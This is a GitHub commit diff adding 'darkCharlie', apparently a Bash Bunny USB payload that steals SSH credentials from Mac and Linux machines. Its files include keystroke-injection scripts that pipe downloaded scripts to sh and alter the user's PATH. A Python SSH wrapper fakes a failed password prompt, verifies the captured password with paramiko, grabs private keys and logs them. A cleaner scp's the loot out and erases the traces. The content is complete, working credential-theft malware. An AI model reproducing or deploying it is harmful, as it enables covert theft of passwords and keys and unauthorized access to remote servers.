Merge pull request #257 from michael-weinstein/darkCharlie

Dark charlie ssh credential grabber
pull/647/merge
Peaks 2024-08-29 11:29:21 -04:00 committed by GitHub
commit 36f116eed7
No known key found for this signature in database
GPG Key ID: B5690EEEBB952194
6 changed files with 647 additions and 0 deletions

View File

@ -0,0 +1,74 @@
#!/bin/bash
# Title: darkCharlie{Cleaner}
# Author: Michael Weinstein
# Target: Mac/Linux
# Version: 0.1
#
# Get the ssh creds from our loot collection.
# And clean up after
#
# White | Ready
# Blue blinking | Attacking
# Green | Finished
LED SETUP
#setup the attack on macos (if false, attack is for Linux)
mac=false
if [ "$mac" = true ]
then
ATTACKMODE ECM_ETHERNET HID VID_0X05AC PID_0X021E
else
ATTACKMODE ECM_ETHERNET HID
fi
DUCKY_LANG us
GET SWITCH_POSITION
GET HOST_IP
cd /root/udisk/payloads/$SWITCH_POSITION/
LOOT=/root/udisk/loot/darkCharlie
mkdir -p $LOOT
LED ATTACK
if [ "$mac" = true ]
then
RUN OSX terminal
else
RUN UNITY xterm
fi
QUACK DELAY 2000
QUACK STRING scp -o UserKnownHostsFile=/dev/null -o StrictHostKeyChecking=no \~/.config/ssh/ssh.conf root@$HOST_IP:$LOOT/\$USER.$HOSTNAME.ssh.passwd.json #nice hiding of known host info
QUACK DELAY 200
QUACK ENTER
QUACK DELAY 500
QUACK STRING hak5bunny
QUACK DELAY 200
QUACK ENTER
QUACK DELAY 500
if [ "$mac" = true ]
then
QUACK STRING rm -rf \~/.config/ssh #\&\& sed -i \'/export PATH=\\~\\/.config\\/ssh:/d\' \~/.bash_profile #macs really seem to hate it when you sed in place, I think.
QUACK ENTER
QUACK STRING "python -c \"import os; home = os.environ['HOME']; file = open(home + '/.bash_profile','r'); dataIn = file.readlines(); file.close(); dataOut = [line for line in dataIn if not '~/.config/ssh' in line]; output = ''.join(dataOut); file = open(home + '/.bash_profile','w'); file.write(output); file.close()\""
else
QUACK STRING rm -rf \~/.config/ssh \&\& sed -i \'/export PATH=\\~\\/.config\\/ssh:/d\' \~/.bashrc
fi
QUACK ENTER
QUACK DELAY 200
if [ "$mac" = true ]
then
QUACK DELAY 2000
QUACK GUI w
else
QUACK STRING exit
QUACK DELAY 200
QUACK ENTER
fi
LED SUCCESS
#See you, space cowboy...

View File

@ -0,0 +1,415 @@
#! PYTHON_EXECUTABLE_GOES_HERE
'''
Dark Charlie remote shell cred grabber
Version 0.1
Using open-ended exceptions here to maintain silence when errors happen
'''
originalSSHExecutable = "ORIGINAL_SSH_EXE_GOES_HERE"
def cantLoadModuleError():
import sys
if sys.version_info.major < 3:
return ImportError
if sys.version_info.minor < 6:
return ImportError
else:
return ModuleNotFoundError
def getLootFileName():
import os
thisFullPath = os.path.abspath(__file__)
thisDirectory = os.path.split(thisFullPath)[0]
lootFile = thisDirectory + os.sep + "ssh.conf"
return os.path.join(lootFile)
def initializeThisScript():
'''This function will be run the first time by the bunny'''
import subprocess
import re
pathFinder = subprocess.Popen("which python".split(), stdout = subprocess.PIPE)
pythonExecutable = pathFinder.stdout.read().strip()
pathFinder = subprocess.Popen("which ssh".split(), stdout = subprocess.PIPE)
sshExecutable = pathFinder.stdout.read().strip()
try:
import paramiko
except cantLoadModuleError():
try:
paramikoInstaller = subprocess.Popen("pip install --user paramiko".split(), stdout = subprocess.PIPE, stderr = subprocess.PIPE)
paramikoInstaller = subprocess.Popen("pip3 install --user paramiko".split(), stdout = subprocess.PIPE, stderr = subprocess.PIPE)
except:
pass
try:
import json
except cantLoadModuleError():
try:
jsonInstaller = subprocess.Popen("pip install --user json".split(), stdout = subprocess.PIPE, stderr = subprocess.PIPE)
jsonInstaller = subprocess.Popen("pip3 install --user json".split(), stdout = subprocess.PIPE, stderr = subprocess.PIPE)
except:
pass
try:
import getpass
except:
try:
getPassInstaller = subprocess.Popen("pip install --user getpass", stdout = subprocess.PIPE, stderr = subprocess.PIPE)
except:
pass
thisFileName = __file__
thisFile = open(thisFileName, 'r')
originalCode = thisFile.read()
thisFile.close()
newCode = re.sub("PYTHON_EXECUTABLE_GOES_HERE", pythonExecutable, originalCode, 1)
newCode = re.sub("ORIGINAL_SSH_EXE_GOES_HERE", sshExecutable, newCode, 1)
thisFile = open(thisFileName, 'w')
thisFile.write(newCode)
thisFile.close()
createLootFile(getLootFileName())
quit()
def createLootFile(lootFileName):
import json
initialData = {"configFiles":{}, "passwords":{}}
addDefaultSSHConfigFilesToLoot(initialData)
lootFile = open(lootFileName, 'w')
json.dump(initialData, lootFile)
lootFile.close()
def addDefaultSSHConfigFilesToLoot(lootData): #using lootData as a reference here, no returns
mainConfigData, userConfigData = analyzeDefaultSSHConfigFiles()
mainConfigHash, mainData = mainConfigData
userConfigHash, userData = userConfigData
lootData["configFiles"][mainConfigHash] = mainData
lootData["configFiles"]["main"] = mainData
lootData["configFiles"][userConfigHash] = userData
lootData["configFiles"]["user"] = userData
def analyzeDefaultSSHConfigFiles():
import os
try:
mainConfigData = analyzeConfigFile("/etc/ssh/ssh_config")
if mainConfigData:
mainFileHash, mainData = mainConfigData
else:
mainFileHash = None
mainData = None
except:
mainFileHash = None
mainData = None
try:
userConfigFileName = os.getenv("HOME") + "/.ssh/config"
userConfigData = analyzeConfigFile(userConfigFileName)
if userConfigData:
userFileHash, userData = userConfigData
else:
userFileHash = None
userData = None
except:
userFileHash = None
userData = None
return ((mainFileHash, mainData), (userFileHash, userData))
def loadLootFile(lootFileName):
import json
try:
file = open(lootFileName, 'r')
data = json.load(file)
file.close()
return data
except:
return False
def saveLootFile(loot, lootFileName):
import json
try:
file = open(lootFileName, 'w')
json.dump(loot, file)
file.close()
except:
pass
class SSHArgHandler(object):
def __init__(self, rawArgList):
self.password = None
self.optionsDict = self.getOptionsDict(rawArgList)
self.keyFileName = self.findArgument("-i", rawArgList)
if self.keyFileName:
self.keyFile = snarfKeyFile(self.keyFileName)
else:
self.keyFile = None
self.configFile = self.findArgument("-F", rawArgList)
if self.configFile:
configFileInfo = analyzeConfigFile(self.configFile)
else:
configFileInfo = None
if configFileInfo:
self.configFileHash, self.configFileDict = configFileInfo
else:
self.configFileHash = None
self.configFileDict = None
self.host = rawArgList[-1]
if "@" in self.host:
self.host = self.host.split("@")[-1]
self.port = self.findArgument("-p", rawArgList)
self.user = self.findUserName(rawArgList)
self.commandOptions = " ".join(rawArgList[1:])
self.intendedCommand = originalSSHExecutable + " " + self.commandOptions
def findUserName(self, args):
user = self.findArgument("-l", args)
if not user:
if "@" in args[-1]:
user = args[-1].split("@")[0]
if not user:
if "User" in self.optionsDict:
user = self.optionsDict["User"]
if not user:
if self.configFileDict and self.host in self.configFileDict:
if "User" in self.configFileDict[self.host]:
user = self.configFileDict[self.host]["User"]
if not user:
return "None"
return user
def getOptionsDict(self, args):
interestingArgs = args[1:-1]
options = {}
for i in range(len(interestingArgs)):
rawOption = None
if interestingArgs[i].startswith("-o"):
if len(interestingArgs[i]) > 2:
rawOption = interestingArgs[i][2:]
elif i == len(interestingArgs) - 1: #somebody probably messed up the command
continue
else:
rawOption = interestingArgs[i + 1]
if rawOption:
optionList = rawOption.split("=")
if len(optionList) == 2:
key, value = optionList
options[key] = value
return options
def findArgument(self, argOfInterest, args): #this assumes the argument of interest should only show up in the command once
interestingArgs = args[1:-1]
for i in range(len(interestingArgs)):
if interestingArgs[i].startswith(argOfInterest):
if len(interestingArgs[i]) > 2 and not argOfInterest.startswith("--"):
value = interestingArgs[i][2:]
elif i == len(interestingArgs) - 1: #ten bucks says this probably won't run
continue
else:
return interestingArgs[i + 1]
return None
def saveData(self):
infoDict = {}
if self.password:
infoDict["password"] = self.password
if self.optionsDict:
infoDict["options"] = self.optionsDict
if self.keyFile:
infoDict["privateKey"] = self.keyFile
if self.host:
infoDict["host"] = self.host
if self.port:
infoDict["port"] = self.port
if self.user:
infoDict["user"] = self.user
return infoDict
def analyzeConfigFile(configFileName): #The tat rolled a 20?
import os
import re
regexSplitter = re.compile("[\s\=]")
if not os.path.isfile(configFileName):
return False
file = open(configFileName, 'r')
data = file.read()
file.close()
fileHash = hash(data)
data = data.split("\n")
currentHostNickname = "None"
hostDict = {}
for line in data:
line = line.strip()
if not line:
continue
if line.startswith("#"):
continue
if line.startswith("Host") and line.split()[0] == "Host":
hostLine = re.split(regexSplitter, line)
if len(hostLine) > 1:
currentHostNickname = hostLine[1]
else:
currentHostNickname = "None"
if not currentHostNickname in hostDict:
hostDict[currentHostNickname] = {}
continue
lineSplit = re.split(regexSplitter, line)
if len(lineSplit) == 1:
hostDict[currentHostNickname][lineSplit[0]] = "None"
else:
key = lineSplit[0]
value = " ".join(lineSplit[1:])
try:
if key == "IdentityFile":
keyRead = snarfKeyFile(value)
if not keyRead:
value += "(FILENOTFOUND)"
else:
value = keyRead
except:
value = "UnableToLoad"
hostDict[currentHostNickname][key] = value
return (fileHash, hostDict)
def snarfKeyFile(keyFileName):
import os
import base64
if not os.path.isfile(keyFileName):
return False
keyFile = open(keyFileName, 'rb')
key = keyFile.read()
keyFile.close()
return base64.b64encode(key).decode()
def paramikoSaysWeNeedAPassword(host, port, user):
try:
import paramiko
except cantLoadModuleError():
return True #default to true if we can't check it
ssh = paramiko.SSHClient()
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy)
try:
ssh.connect(host, port = int(port), username = user)
ssh.close()
return False
except paramiko.ssh_exception.SSHException:
try:
ssh.connect(host, port = int(port), username = user, password = "12345") #probably not their real password unless they're an idiot and this is their luggage
ssh.close()
return False
except paramiko.ssh_exception.AuthenticationException:
return True
except:
return False
def paramikoApprovesOfThisPassword(host, port, user, password):
try:
import paramiko
except cantLoadModuleError():
return True #default to true if we can't check it
ssh = paramiko.SSHClient()
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy)
try:
ssh.connect(host, port = int(port), username = user, password = password) #hopefully their real password
ssh.close()
return True
except paramiko.ssh_exception.AuthenticationException:
return False
def parseArguments():
import sys
argList = sys.argv
if "--initializeScript" in sys.argv:
initializeThisScript()
else:
return argList
def findHostInLootConfigs(lootFileData, host):
for fileHash in lootFileData["configFiles"]:
if lootFileData["configFiles"][fileHash] and host in lootFileData["configFiles"][fileHash]: #have to check if there is even file data there, otherwise we end up indexing into nothing and failing hard
return lootFileData["configFiles"][fileHash][host]
return None
def getUserName():
import getpass
return getpass.getuser()
def lowDownDirtyDeceiver(user, hostAddress):
import getpass
prompt = "%s@%s's password: " %(user, hostAddress)
password = getpass.getpass(prompt)
print("Permission denied, please try again.")
return password
def shinyLetsBeBadGuys():
argList = parseArguments()
lootFileData = loadLootFile(getLootFileName())
sshArgs = SSHArgHandler(argList)
if sshArgs.configFileHash:
lootFileData["configFiles"][sshArgs.configFileHash] = sshArgs.configFileDict
addDefaultSSHConfigFilesToLoot(lootFileData)
hostConfigFileData = findHostInLootConfigs(lootFileData, sshArgs.host)
hostAddress = sshArgs.host
userName = None
hostPort = None
password = None
if lootFileData["configFiles"]["main"]:
if "HostName" in lootFileData["configFiles"]["main"]:
hostAddress = lootFileData["configFiles"]["main"]["HostName"]
if "Port" in lootFileData["configFiles"]["main"]:
hostPort = lootFileData["configFiles"]["main"]["Port"]
if "IdentityFile" in lootFileData["configFiles"]["main"]:
password = "file(%s)" %lootFileData["configFiles"]["main"]["IdentityFile"]
if lootFileData["configFiles"]["user"]:
if "HostName" in lootFileData["configFiles"]["user"]:
hostAddress = lootFileData["configFiles"]["user"]["HostName"]
if "Port" in lootFileData["configFiles"]["user"]:
hostPort = lootFileData["configFiles"]["user"]["Port"]
if "IdentityFile" in lootFileData["configFiles"]["user"]:
password = "file(%s)" %lootFileData["configFiles"]["user"]["IdentityFile"]
if hostConfigFileData:
if "HostName" in hostConfigFileData:
hostAddress = hostConfigFileData["HostName"]
if "Port" in hostConfigFileData:
hostPort = hostConfigFileData["Port"]
if "IdentityFile" in hostConfigFileData:
password = "file(%s)" %hostConfigFileData["IdentityFile"]
if sshArgs.user:
userName = sshArgs.user
if sshArgs.port:
hostPort = sshArgs.port
if sshArgs.keyFile:
password = "file(%s)" %sshArgs.keyFile
if not userName:
try:
userName = getUserName()
except:
userName = "DefaultUserName"
if not hostPort:
hostPort = "22"
hostInfo = "%s@%s:%s" %(userName, hostAddress, hostPort) # user@hostAddress:port
if not password:
if not hostInfo in lootFileData["passwords"]:
gotValidPass = False
while not gotValidPass:
try:
password = lowDownDirtyDeceiver(userName, hostAddress)
except:
password = "FailedToObtain"
break
try:
gotValidPass = paramikoApprovesOfThisPassword(hostAddress, hostPort, userName, password)
except:
break
lootFileData["passwords"][hostInfo] = [password, sshArgs.intendedCommand, sshArgs.saveData()] #json doesn't do tuples anyway
saveLootFile(lootFileData, getLootFileName())
if __name__ == '__main__':
import os
args = parseArguments()
intendedCommand = args[:]
intendedCommand[0] = originalSSHExecutable
intendedCommand = " ".join(intendedCommand)
try:
if len(args) > 1:
shinyLetsBeBadGuys()
except: #I really feel weird doing a massive open-ended exception here... but silence
pass
os.system(intendedCommand)
quit()

View File

@ -0,0 +1,101 @@
#!/bin/bash
# Title: darkCharlie
# Author: Michael Weinstein
# Target: Mac/Linux
# Version: 0.1
#
# Create a wrapper for ssh sessions that
# will live inside ~/.config/ssh and be added
# tn the $PATH.
#
# This payload was inspired greatly by SudoBackdoor
# and much of the code here was derived (or copied
# wholesale) from that with great thanks to oXis.
#
# White | Ready
# Amber blinking | Waiting for server
# Blue blinking | Attacking
# Green | Finished
LED SETUP
#setup the attack on macos (if false, attack is for Linux)
mac=false
if [ "$mac" = true ]
then
ATTACKMODE ECM_ETHERNET HID VID_0X05AC PID_0X021E
else
ATTACKMODE ECM_ETHERNET HID
fi
DUCKY_LANG us
GET SWITCH_POSITION
GET HOST_IP
cd /root/udisk/payloads/$SWITCH_POSITION/
# starting server
LED SPECIAL
iptables -A OUTPUT -p udp --dport 53 -j DROP
python -m SimpleHTTPServer 80 &
# wait until port is listening (credit audibleblink)
while ! nc -z localhost 80; do sleep 0.2; done
# that was brilliant!
LED ATTACK
if [ "$mac" = true ]
then
RUN OSX terminal
else
RUN UNITY xterm
fi
QUACK DELAY 2000
if [ "$mac" = true ]
then
QUACK STRING curl "http://$HOST_IP/pre.sh" \| sh
QUACK ENTER
QUACK DELAY 200
QUACK STRING curl "http://$HOST_IP/darkCharlie.py" \> "~/.config/ssh/ssh"
QUACK ENTER
QUACK DELAY 200
QUACK STRING curl "http://$HOST_IP/post.sh" \| sh
QUACK ENTER
QUACK DELAY 200
QUACK STRING python "~/.config/ssh/ssh" --initializeScript
QUACK ENTER
QUACK DELAY 200
else
QUACK STRING wget -O - "http://$HOST_IP/pre.sh" \| sh #I think wget defaults to outputting to a file and needs explicit instructions to output to STDOUT
QUACK DELAY 200
QUACK ENTER
QUACK STRING wget -O - "http://$HOST_IP/darkCharlie.py" \> "~/.config/ssh/ssh" #Will test this on a mac when I finish up
QUACK DELAY 200
QUACK ENTER
QUACK STRING wget -O - "http://$HOST_IP/post.sh" \| sh
QUACK DELAY 200
QUACK ENTER
QUACK STRING python "~/.config/ssh/ssh" --initializeScript
QUACK DELAY 200
QUACK ENTER
fi
QUACK DELAY 200
QUACK ENTER
QUACK DELAY 200
if [ "$mac" = true ]
then
QUACK DELAY 5000 #seems like macs need some extra time on this
QUACK GUI w
else
QUACK STRING exit
QUACK DELAY 200
QUACK ENTER
fi
LED SUCCESS #The Dungeons and Dragons tattoo hath rolled a 20

View File

@ -0,0 +1,10 @@
#!/bin/bash
chmod u+x ~/.config/ssh/ssh
if [ -f ~/.bash_profile ]
then
echo "export PATH=~/.config/ssh:$PATH" >> ~/.bash_profile
else
echo "export PATH=~/.config/ssh:$PATH" >> ~/.bashrc
fi

View File

@ -0,0 +1,11 @@
#!/bin/bash
if [ ! -d ~/.config/ssh ]
then
mkdir -p ~/.config/ssh
fi
if [ -f ~/.config/ssh/ssh ]
then
rm ~/.config/ssh/ssh
fi

View File

@ -0,0 +1,36 @@
# darkCharlie SSH credential grabber
* Author: Michael Weinstein
* Version: 0.1
* Target: Mac/Linux
Mad credit to oXis for their attack approach. Much of the code here was developed using SudoBackdoor as a reference.
Current dev status: I have tested this with both private key and password auth on a linux machine and found it working. I have not extensively tested with config files, but the limited testing I have done suggests that it is working as intended. I have not tested yet on a mac, but will probably do so very soon. I still need to do some more polishing on this, and especially want to get the use of paramiko better where it can check if the login needs a password and then check if the password entered into the wrapper is valid.
## Description
Injector: Creates a folder called ~/.config/ssh where it puts a python wrapper for ssh. Next, it copies over the python SSH wrapper. It then runs the initialization function in the wrapper script to set some environmental values like the actual path for SSH and the path for python. The initialization function also initializes a file for saving SSH creds and configuration details in JSON format. It will save the global and user SSH config file details immediately, including grabbing any private keys linked in the config file (if you know these will be of interest, you can exfiltrate them immediately). Finally, ~/.config/ssh is added as the first element on the user's PATH so that they will be running this wrapper instead of actually SSHing in. The main abnormality a user will see is if they need to manually enter a password, they'll get it "wrong" the first time and have to reenter it. This wrapper will load previous loot to see if a server's password has already been gotten and won't try to get it again to avoid raising suspicions.
Cleaner: Gets back the file containing JSON-encoded SSH configuration and credential data. After exfiltration of the data, it will delete the directory and files it created and clean up its change to the bashrc or bash_profile.
## Configuration
Inside the injector and the cleaner you can specify mac=true to switch the playload to macos mode.
## STATUS (Note that I used the same configuration as SudoBackdoor, but I am seeing different LED behaviors. Will investigate this soon.)
Injector
| LED | Status |
| ---------------- | -------------------- |
| White | Ready |
| Amber blinking | Waiting for server |
| Blue blinking | Attacking |
| Green | Finished |
Cleaner
| LED | Status |
| ---------------- | -------------------- |
| White | Ready |
| Blue blinking | Attacking |
| Green | Finished |